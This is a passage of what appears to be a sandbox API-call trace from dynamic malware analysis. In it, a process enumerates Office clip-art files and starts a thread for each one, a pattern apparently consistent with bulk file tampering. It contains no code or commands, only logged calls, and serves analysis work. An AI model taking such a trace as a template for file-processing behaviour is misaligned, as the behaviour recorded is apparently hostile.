	[0233.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b0
	[0233.093] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.094] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1
	[0233.094] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b4
	[0233.096] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.096] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1
	[0233.096] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b8
	[0233.098] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.099] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1
	[0233.099] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10bc
	[0233.101] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.102] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1
	[0233.102] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c0
	[0233.104] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.105] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1
	[0233.105] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c4
	[0233.108] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.108] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1
	[0233.108] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c8
	[0233.110] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.111] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1
	[0233.111] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10cc
	[0233.113] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.114] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1
	[0233.114] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d0
	[0233.116] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.117] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1
	[0233.117] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d4
	[0233.119] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.119] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1
	[0233.119] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d8
	[0233.142] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.143] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1
	[0233.143] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10dc
	[0233.145] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.146] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1
	[0233.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e0
	[0233.148] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.148] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1
	[0233.148] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e4
	[0233.150] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.151] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1
	[0233.151] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e8
	[0233.153] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.154] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1
	[0233.154] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ec
	[0233.156] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.157] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1
	[0233.157] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f0
	[0233.159] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.160] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1
	[0233.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f4
	[0233.162] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.163] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1
	[0233.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f8
	[0233.165] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.165] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1
	[0233.166] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10fc
	[0233.168] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.169] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1
	[0233.169] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f542df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1100
	[0233.172] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.172] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1
	[0233.172] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f5464d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1104
	[0233.175] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.176] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1
	[0233.176] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f549bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1108
	[0233.263] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.264] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1
	[0233.264] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x110c
	[0233.266] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.267] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1
	[0233.267] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1110
	[0233.269] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.270] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1
	[0233.270] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1114
	[0233.272] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.273] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1
	[0233.273] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1118
	[0233.275] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.275] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1
	[0233.275] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
